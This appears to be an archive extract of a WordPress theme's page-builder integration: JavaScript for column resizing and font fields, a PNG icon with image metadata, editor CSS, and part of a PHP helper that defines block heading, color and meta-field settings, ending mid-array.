				vc.shortcodes.get( parent_id ).destroy();
			}
		},
		customCssClassReplace: function () {
			var css_classes, css_regex, class_match;

			css_classes = this.$el.find( '.wpb_column' ).attr( 'class' );
			css_regex = /.*(vc_custom_\d+).*/;
			class_match = css_classes && css_classes.match ? css_classes.match( css_regex ) : false;
			if ( class_match && class_match[ 1 ] ) {
				this.$el.addClass( class_match[ 1 ] );
				this.$el.find( '.wpb_column' ).attr( 'class', css_classes.replace( class_match[ 1 ], '' ).trim() );
			}
		},
		setColumnClasses: function () {
			var offset, width, $content;
			offset = this.getParam( 'offset' ) || '';
			width = this.getParam( 'width' ) || '1/1';
			$content = this.$el.find( '> .wpb_column' );
			this.css_class_width = this.convertSize( width );
			if ( this.css_class_width !== width ) {
				this.css_class_width = this.css_class_width.replace( /[^\d]/g, '' );
			}
			$content.removeClass( 'vc_col-sm-' + this.css_class_width );
			if ( !offset.match( /vc_col\-sm\-\d+/ ) ) {
				this.$el.addClass( 'vc_col-sm-' + this.css_class_width );
			}
			if ( vc.responsive_disabled ) {
				offset = offset.replace( /vc_col\-(lg|md|xs)[^\s]*/g, '' );
			}
			if ( !_.isEmpty( offset ) ) {
				$content.removeClass( offset );
				this.$el.addClass( offset );
			}
		},
		startChangeSize: function ( e ) {
			var width = this.getParam( width ) || 12;
			this._grid_step = this.parent_view.$el.width() / width;
			vc.frame_window.jQuery( 'body' ).addClass( 'vc_column-dragging' ).disableSelection();
			this._x = parseInt( e.pageX, 10 );
			vc.$page.bind( 'mousemove.' + this.resizeDomainName, this.resize );
			$( vc.frame_window.document ).mouseup( this.stopChangeSize );
		},
		stopChangeSize: function () {
			this._x = 0;
			vc.frame_window.jQuery( 'body' ).removeClass( 'vc_column-dragging' ).enableSelection();
			vc.$page.unbind( 'mousemove.' + this.resizeDomainName );
		},
		resize: function ( e ) {
			var width, old_width, diff, params = this.model.get( 'params' );
			diff = e.pageX - this._x;
			if ( Math.abs( diff ) < this._grid_step ) {
				return;
			}
			this._x = parseInt( e.pageX, 10 );
			old_width = '' + this.css_class_width;
			if ( 0 < diff ) {
				this.css_class_width += 1;
			} else if ( 0 > diff ) {
				this.css_class_width -= 1;
			}
			if ( 12 < this.css_class_width ) {
				this.css_class_width = 12;
			}
			if ( 1 > this.css_class_width ) {
				this.css_class_width = 1;
			}
			params.width = vc.getColumnSize( this.css_class_width );
			this.model.save( { params: params }, { silent: true } );
			this.$el.removeClass( 'vc_col-sm-' + old_width ).addClass( 'vc_col-sm-' + this.css_class_width );
		},
		convertSize: function ( width ) {
			var prefix, numbers, range, num, dev;
			prefix = 'vc_col-sm-';
			numbers = width ? width.split( '/' ) : [
				1,
				1
			];
			range = _.range( 1, 13 );
			num = !_.isUndefined( numbers[ 0 ] ) && 0 <= _.indexOf( range,
				parseInt( numbers[ 0 ], 10 ) ) ? parseInt( numbers[ 0 ], 10 ) : false;
			dev = !_.isUndefined( numbers[ 1 ] ) && 0 <= _.indexOf( range,
				parseInt( numbers[ 1 ], 10 ) ) ? parseInt( numbers[ 1 ], 10 ) : false;
			// Custom fix for 5 columns grid
			if ( '5' === numbers[ 1 ] ) {
				return width;
			}
			if ( false !== num && false !== dev ) {
				return prefix + (12 * num / dev);
			}
			return prefix + '12';
		},
		allowAddControl: function () {
			return vc_user_access().shortcodeAll( 'vc_column' );
		}
	} );
})( window.jQuery );

jQuery( function ( $ ) {
	'use strict';
	$( document ).on( 'click', '.penci-image-select', function () {
		var $this = $( this );

		$this.parent().siblings( '.wpb_vc_param_value' ).attr("value", $this.data( 'value' ) ).change();
		$this.addClass( 'penci-image-select--active' )
		     .siblings().removeClass( 'penci-image-select--active' );
	} );

	$( document ).on( 'change', '.penci-number-input, .penci-number-suffix', function () {
		var $number = $( this ).parent(),
			input = $number.find( '.penci-number-input' ).val(),
			unit = $number.find( '.penci-number-suffix' ).val();

		$number.find( '.wpb_vc_param_value' ).val( input + unit );
	} );
} );

(function ( $ ) {
	window.InlineShortcodeView_penci_sliders = window.InlineShortcodeView.extend( {
		render: function () {
			var model_id = this.model.get( 'id' );
			return window.InlineShortcodeView_penci_sliders.__super__.render.call(this),
				vc.frame_window.vc_iframe.addActivity(function() {
					this.vc_iframe.penciSliders(model_id);
				}),
				this
		}
	} );

	vc.atts.penci_google_fonts = {
		parse: function(param) {
			var string_pieces, $field = this.content().find(".wpb_vc_param_value[name=" + param.param_name + "]"),
				$block = $field.parent(),
				options = {};
			return options.font_family = $block.find(".vc_google_fonts_form_field-font_family-select > option:selected").val(), options.font_style = $block.find(".vc_google_fonts_form_field-font_style-select > option:selected").val(), string_pieces = _.map(options, function(value, key) {
				if (_.isString(value) && 0 < value.length) return key + ":" + encodeURIComponent(value)
			}), $.grep(string_pieces, function(value) {
				return _.isString(value) && 0 < value.length
			}).join("|")
		},
		init: function(param, $field) {

		}
	};
})( window.jQuery );PK     0w\n9  9  %  js_composer/assets/icon-vc-layout.pngnu [        PNG

   IHDR   @      hl   	pHYs    +  8$iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2017-12-11T10:30:50+07:00</xmp:CreateDate>
         <xmp:ModifyDate>2017-12-11T10:38:17+07:00</xmp:ModifyDate>
         <xmp:MetadataDate>2017-12-11T10:38:17+07:00</xmp:MetadataDate>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <xmpMM:InstanceID>xmp.iid:faaf2685-43e1-3144-90f5-a30e38f276e7</xmpMM:InstanceID>
         <xmpMM:DocumentID>xmp.did:faaf2685-43e1-3144-90f5-a30e38f276e7</xmpMM:DocumentID>
         <xmpMM:OriginalDocumentID>xmp.did:faaf2685-43e1-3144-90f5-a30e38f276e7</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>created</stEvt:action>
                  <stEvt:instanceID>xmp.iid:faaf2685-43e1-3144-90f5-a30e38f276e7</stEvt:instanceID>
                  <stEvt:when>2017-12-11T10:30:50+07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2017 (Windows)</stEvt:softwareAgent>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>960000/10000</tiff:XResolution>
         <tiff:YResolution>960000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>64</exif:PixelXDimension>
         <exif:PixelYDimension>13</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>7wf    cHRM  z%        u0  `  :  o_F  .IDATx앱j0E#`0v=8:vK\
7Ù}8DDx^iq23c38z3. diq	@~3svdDJ)gGUUVݮ똦s"w ix\XUՂ	1a۶Όcvvygm݉/y
m |>;,-`%^̢(hPFDX3{+`0<NYYV@WlW l]J)Y*jMXkwxtδV@ PjC    IENDB`PK     0w\^    &  js_composer/assets/frontend-editor.cssnu [        .compose-mode .vc_penci_container {
	padding-top: 32px;
	margin-top: 0 !important;
}

.compose-mode .vc_penci_container .penci-vc-column {
	padding: 0 !important;
	width: 100% !important;
	float: none;
}
.penci-pb-row .vc_empty-element {
	min-height: 100px;
}
.compose-mode .vc_element.vc_hold-hover > .penci-vc-container >  .penci-vc-row >  .penci-vc-row > .vc_element:before,
.compose-mode .vc_element.vc_hover > .penci-vc-container >  .penci-vc-row >  .penci-vc-row > .vc_element:before,
.compose-mode .vc_element:hover > .penci-vc-container >  .penci-vc-row > .vc_element:before,
.view-mode .vc_element.vc_hold-hover > .penci-vc-container >  .penci-vc-row > .vc_element:before,
.view-mode .vc_element.vc_hover > .penci-vc-container >  .penci-vc-row > .vc_element:before,
.view-mode .vc_element:hover > .penci-vc-container >  .penci-vc-row > .vc_element:before {
	content: '';
	margin: 0;
	padding: 0;
	position: absolute;
	z-index: 0;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	outline: #EBEBEB dashed 1px;
	outline: rgba(125, 125, 125, .4) dashed 1px;
}

.compose-mode .vc_element.vc_hold-hover>.wpb_row>.vc_element:before,
.compose-mode .vc_element.vc_hover>.wpb_row>.vc_element:before,
.compose-mode .vc_element:hover>.wpb_row>.vc_element:before,
.view-mode .vc_element.vc_hold-hover>.wpb_row>.vc_element:before,
.view-mode .vc_element.vc_hover>.wpb_row>.vc_element:before,
.view-mode .vc_element:hover>.wpb_row>.vc_element:before {

}PK     0w\a/ / $  js_composer/inc/vc-params-helper.phpnu [        <?php
if ( ! class_exists( 'Penci_Vc_Params_Helper' ) ):
	class Penci_Vc_Params_Helper {
		public static function params_bookmark_icon() {

			if ( ! defined( 'PENCI_BL_VERSION' ) ) {
				return [];
			}

			$group_name = 'Bookmark Icon';

			return array(
				[
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'penci_bf_icon_sizes',
					'heading'    => __( 'Bookmark Size', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				],
				[
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'penci_bf_icon_fsizes',
					'heading'    => __( 'Icon Size', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Border Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Background Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bgcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				// hover
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Hover Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_hcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Hover Border Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_hbcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Icon Hover Background Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_hbgcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				// activated
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Bookmarked Icon Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bmcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Bookmarked Icon Border Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bmbcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Bookmarked Icon Background Color', 'soledad' ),
					'param_name'       => 'penci_bf_icon_icon_bmbgcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-4',
				],
			);
		}

		public static function params_heading() {

			$group_name = 'Heading';

			return array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'block_heading_title',
					'heading'          => esc_html__( 'Block Heading', 'soledad' ),
					'value'            => '',
					'group'            => $group_name,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Show / Hide Block Heading', 'soledad' ),
					'param_name' => 'is_block_heading',
					'value'      => array(
						__( 'Show', 'soledad' ) => 'show',
						__( 'Hide', 'soledad' ) => 'hide',
					),
					'std'        => 'show',
					'group'      => $group_name,
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Heading Title Style', 'soledad' ),
					'param_name' => 'heading_title_style',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default ', 'soledad' ) => '',
						esc_html__( 'Style 1', 'soledad' )  => 'style-1',
						esc_html__( 'Style 2', 'soledad' )  => 'style-2',
						esc_html__( 'Style 3', 'soledad' )  => 'style-3',
						esc_html__( 'Style 4', 'soledad' )  => 'style-4',
						esc_html__( 'Style 5', 'soledad' )  => 'style-5',
						esc_html__( 'Style 6', 'soledad' )  => 'style-6',
						esc_html__( 'Style 7', 'soledad' )  => 'style-7',
						esc_html__( 'Style 8', 'soledad' )  => 'style-9',
						esc_html__( 'Style 9', 'soledad' )  => 'style-8',
						esc_html__( 'Style 10', 'soledad' ) => 'style-10',
						esc_html__( 'Style 11', 'soledad' ) => 'style-11',
						esc_html__( 'Style 12', 'soledad' ) => 'style-12',
						esc_html__( 'Style 13', 'soledad' ) => 'style-13',
						esc_html__( 'Style 14', 'soledad' ) => 'style-14',
						esc_html__( 'Style 15', 'soledad' ) => 'style-15',
						esc_html__( 'Style 16', 'soledad' ) => 'style-16',
						esc_html__( 'Style 17', 'soledad' ) => 'style-2 style-17',
						esc_html__( 'Style 18', 'soledad' ) => 'style-18',
						esc_html__( 'Style 19', 'soledad' ) => 'style-18 style-19',
						esc_html__( 'Style 20', 'soledad' ) => 'style-18 style-20',
						esc_html__( 'Style 21', 'soledad' ) => 'style-21',
						esc_html__( 'Style 22', 'soledad' ) => 'style-22',
						esc_html__( 'Style 23', 'soledad' ) => 'style-23',
						esc_html__( 'Style 24', 'soledad' ) => 'style-24',
						esc_html__( 'Style 25', 'soledad' ) => 'style-25',
						esc_html__( 'Style 26', 'soledad' ) => 'style-26',
					),
					'group'      => $group_name,
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_html__( 'Heading Title', 'soledad' ),
					'param_name'  => 'heading',
					'value'       => 'Block title',
					'std'         => 'Block title',
					'admin_label' => true,
					'description' => esc_html__( 'A title for this block, if you leave it blank the block will not have a title', 'soledad' ),
					'group'       => $group_name,
				),
				array(
					'type'        => 'textfield',
					'heading'     => esc_html__( 'Title url', 'soledad' ),
					'param_name'  => 'heading_title_link',
					'std'         => '',
					'description' => esc_html__( 'A custom url when the block title is clicked', 'soledad' ),
					'group'       => $group_name,
				),
				array(
					'type'        => 'penci_switch',
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
					'heading'     => __( 'Add icon for title?', 'soledad' ),
					'param_name'  => 'add_title_icon',
					'group'       => $group_name,
				),
				array(
					'type'       => 'iconpicker',
					'heading'    => esc_html__( 'Icon', 'soledad' ),
					'param_name' => 'block_title_icon',
					'std'        => 'block_title_icon',
					'settings'   => array(
						'emptyIcon'    => true,
						'type'         => 'fontawesome',
						'iconsPerPage' => 4000,
					),
					'dependency' => array( 'element' => 'add_title_icon', 'value' => 'true', ),
					'group'      => $group_name,
				),
				array(
					'type'        => 'dropdown',
					'heading'     => __( 'Icon Alignment', 'soledad' ),
					'description' => __( 'Select icon alignment.', 'soledad' ),
					'param_name'  => 'block_title_ialign',
					'value'       => array(
						__( 'Left', 'soledad' )  => 'left',
						__( 'Right', 'soledad' ) => 'right',
					),
					'dependency'  => array( 'element' => 'add_title_icon', 'value' => 'true', ),
					'group'       => $group_name,
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Heading Align', 'soledad' ),
					'param_name' => 'block_title_align',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
						esc_html__( 'Left', 'soledad' )                         => 'pcalign-left',
						esc_html__( 'Center', 'soledad' )                       => 'pcalign-center',
						esc_html__( 'Right', 'soledad' )                        => 'pcalign-right',
					),
					'group'      => $group_name,
				),
				array(
					'type'        => 'dropdown',
					'heading'     => 'Align Icon on Style 15',
					'value'       => array(
						'Default( follow Customize )' => '',
						'Right'                       => 'pciconp-right',
						'Left'                        => 'pciconp-left',
					),
					'param_name'  => 'heading_icon_pos',
					'description' => '',
					'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
					'group'       => $group_name,
				),
				array(
					'type'        => 'dropdown',
					'heading'     => 'Custom Icon on Style 15',
					'value'       => array(
						'Default( follow Customize )' => '',
						'Arrow Right'                 => 'pcicon-right',
						'Arrow Left'                  => 'pcicon-left',
						'Arrow Down'                  => 'pcicon-down',
						'Arrow Up'                    => 'pcicon-up',
						'Star'                        => 'pcicon-star',
						'Bars'                        => 'pcicon-bars',
						'File'                        => 'pcicon-file',
						'Fire'                        => 'pcicon-fire',
						'Book'                        => 'pcicon-book',
					),
					'param_name'  => 'heading_icon',
					'description' => '',
					'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
					'group'       => $group_name,
				),
				array(
					'type'       => 'penci_switch',
					'heading'    => esc_html__( 'Turn off Uppercase Block Title', 'soledad' ),
					'param_name' => 'block_title_offupper',
					'value'      => 'no',
					'group'      => $group_name,
				),
				array(
					'type'       => 'penci_number',
					'param_name' => 'block_title_marginbt',
					'heading'    => __( 'Margin Bottom', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				),
			);
		}

		public static function params_heading_filter_style() {
			$group_name = 'Typo & Color';

			return [
				[
					'type'             => 'textfield',
					'param_name'       => 'filter_heading_style',
					'heading'          => esc_html__( 'Heading Ajax Filter Style', 'soledad' ),
					'value'            => '',
					'group'            => $group_name,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				],
				[
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'link_fsize',
					'heading'    => __( 'Spacing', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				],
				[
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'nexprev_fsize',
					'heading'    => __( 'Next/Prev Buttons Font Size', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
					'group'      => $group_name,
				],
				[
					'type'        => 'penci_switch',
					'heading'     => esc_html__( 'Use Custom Typography?', 'soledad' ),
					'group'       => $group_name,
					'param_name'  => 'use_custom_typo',
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
				],
				[
					'type'       => 'google_fonts',
					'heading'    => esc_html__( 'Typography', 'soledad' ),
					'group'      => $group_name,
					'param_name' => 'btitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_custom_typo', 'value' => array( 'yes' ) ),
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Color', 'soledad' ),
					'param_name'       => 'heading_filter_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Hover & Active Color', 'soledad' ),
					'param_name'       => 'heading_filter_hcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dropdown Background Color', 'soledad' ),
					'param_name'       => 'heading_filter_dropdown_bgcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dropdown Border Color', 'soledad' ),
					'param_name'       => 'heading_filter_dropdown_bdcolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dropdown Link Color', 'soledad' ),
					'param_name'       => 'dropdown_l_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dropdown Hover & Active Color', 'soledad' ),
					'param_name'       => 'dropdown_ha_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Loading Icon Color', 'soledad' ),
					'param_name'       => 'loading_icolor',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Loading Overlay Background Color', 'soledad' ),
					'param_name'       => 'loadingo_bg_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
				[
					'type'             => 'penci_only_number',
					'heading'          => esc_html__( 'Loading Overlay Background Opacity', 'soledad' ),
					'param_name'       => 'loading_opacity_color',
					'group'            => $group_name,
					'edit_field_class' => 'vc_col-sm-6',
				],
			];
		}


		public static function params_custom_meta_fields() {
			$group_name = 'Custom Meta Field';

			return array_merge( array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'filter_heading',
					'heading'          => esc_html__( 'Custom Post Meta', 'soledad' ),
					'value'            => '',
					'group'            => $group_name,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'        => 'penci_switch',
					'param_name'  => 'cspost_enable',
					'heading'     => esc_html__( 'Showing Custom Post Metas?', 'soledad' ),
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
					'group'       => $group_name,
				),
				array(
					'type'       => 'textfield',
					'param_name' => 'cspost_cpost_meta',
					'heading'    => esc_html__( 'Custom Post Meta Keys', 'soledad' ),
					'group'      => $group_name,
				),
				array(
					'type'        => 'autocomplete',
					'param_name'  => 'cspost_cpost_acf_meta',
					'heading'     => esc_html__( 'Custom Post ACF Meta Keys', 'soledad' ),
					'description' => 'You can show your own custom fields easily by using the <a href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.',
					'group'       => $group_name,
					'settings'    => array(
						'multiple'       => true,
						'min_length'     => 1,
						'groups'         => false,
						'unique_values'  => true,
						'display_inline' => true,
						'delay'          => 500,
						'auto_focus'     => true,
						'values'         => self::penci_get_meta_list()
					),
				),
				array(
					'type'        => 'penci_switch',
					'param_name'  => 'cspost_cpost_meta_label',
					'heading'     => esc_html__( 'Showing Custom Post Meta Label', 'soledad' ),
					'true_state'  => 'yes',
					'false_state' => 'no',
					'default'     => 'no',
					'std'         => 'no',
					'group'       => $group_name,
				),
				array(
					'type'       => 'textfield',
					'param_name' => 'cspost_cpost_meta_divider',
					'heading'    => esc_html__( 'Custom Divider Between Meta Label & Meta Value', 'soledad' ),
					'group'      => $group_name,
				),
			) );
		}

		public static function params_heading_filter( $nav = false ) {
			$group_name = 'Heading';

			$nav_options = [];

			if ( $nav ) {
				$nav_options = [
					array(
						'type'        => 'penci_switch',
						'param_name'  => 'paging',
						'heading'     => esc_html__( 'Show Next Previous Navigation', 'soledad' ),
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'group'       => $group_name,
					),
				];
			}

			return array_merge( array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'filter_heading',
					'heading'          => esc_html__( 'Heading Ajax Filter', 'soledad' ),
					'value'            => '',
					'group'            => $group_name,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'       => 'autocomplete',
					'heading'    => __( 'Categories', 'soledad' ),
					'param_name' => 'biggrid_ajaxfilter_cat',
					'settings'   => array(
						'multiple'       => true,
						'min_length'     => 1,
						'groups'         => false,
						'unique_values'  => true,
						'display_inline' => true,
						'delay'          => 500,
						'auto_focus'     => true,
						'values'         => self::penci_get_terms_list( 'category' )
					),
					'std'        => '',
					'group'      => $group_name,
				),
				array(
					'type'       => 'autocomplete',
					'heading'    => __( 'Tags', 'soledad' ),
					'param_name' => 'biggrid_ajaxfilter_tag',
					'settings'   => array(
						'multiple'       => true,
						'min_length'     => 1,
						'groups'         => false,
						'unique_values'  => true,
						'display_inline' => true,
						'delay'          => 500,
						'auto_focus'     => true,
						'values'         => self::penci_get_terms_list( 'post_tag' )
					),
					'std'        => '',
					'group'      => $group_name,
				),
				array(
					'type'       => 'autocomplete',
					'heading'    => __( 'Authors', 'soledad' ),
					'param_name' => 'biggrid_ajaxfilter_author',
					'settings'   => array(
						'multiple'       => true,
						'min_length'     => 1,
						'groups'         => false,
						'unique_values'  => true,
						'display_inline' => true,
						'delay'          => 500,
						'auto_focus'     => true,
						'values'         => self::get_users_list()
					),
					'std'        => '',
					'group'      => $group_name,
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Default Tab Text', 'soledad' ),
					'param_name' => 'group_more_defaultab_text',
					'group'      => $group_name,
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Add Text Before More Icon', 'soledad' ),
					'param_name' => 'group_more_link_text',
					'group'      => $group_name,
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'No Post Found Message', 'soledad' ),
					'param_name' => 'group_more_nopost',
					'group'      => $group_name,
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Loading Icon Style', 'soledad' ),
					'param_name' => 'biggrid_ajax_loading_style',
					'group'      => $group_name,
					'value'      => [
						'Follow Customize' => 'df',
						'Style 1'          => 's9',
						'Style 2'          => 's2',
						'Style 3'          => 's3',
						'Style 4'          => 's4',
						'Style 5'          => 's5',
						'Style 6'          => 's6',
						'Style 7'          => 's1',
					]
				),
			), $nav_options );
		}

		public static function get_users_list() {
			$users     = [];
			$blogusers = get_users();
			foreach ( $blogusers as $user ) {
				$users[] = [
					'value' => $user->ID,
					'label' => $user->display_name
				];
			}

			return $users;
		}

		public static function penci_get_meta_list() {


			$acf_fields_array = [];

			$acf_fields = get_posts( [
				'post_type'      => 'acf-field',
				'posts_per_page' => - 1
			] );

			$fields_support = apply_filters( 'penci_acf_fields', [
				'text',
				'textarea',
				'number',
				'range',
				'email',
				'url'
			] );

			if ( $acf_fields ) {
				foreach ( $acf_fields as $acf_field ) {
					$field_data = unserialize( $acf_field->post_content );
					if ( in_array( $field_data['type'], $fields_support ) ) {
						$acf_fields_array[] = [
							'value' => $acf_field->post_excerpt,
							'label' => $acf_field->post_title
						];
					}
				}
			}

			return $acf_fields_array;

		}

		public static function penci_get_terms_list( $tax ) {
			$post_cats_args = get_terms( [ 'taxonomy' => $tax, 'hide_empty' => true ] );
			$post_terms     = [];
			if ( ! empty( $post_cats_args ) ) {
				foreach ( $post_cats_args as $post_cat ) {
					$post_terms[] = [
						'value' => $post_cat->term_id,
						'label' => $post_cat->name
					];
				}
			}

			return $post_terms;
		}

		public static function params_heading_typo_color( $group_color = '' ) {
			if ( ! $group_color ) {
				$group_color = 'Typo & Color';
			}

			return array(
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_meta_settings',
					'heading'          => esc_html__( 'Block Heading Title', 'soledad' ),
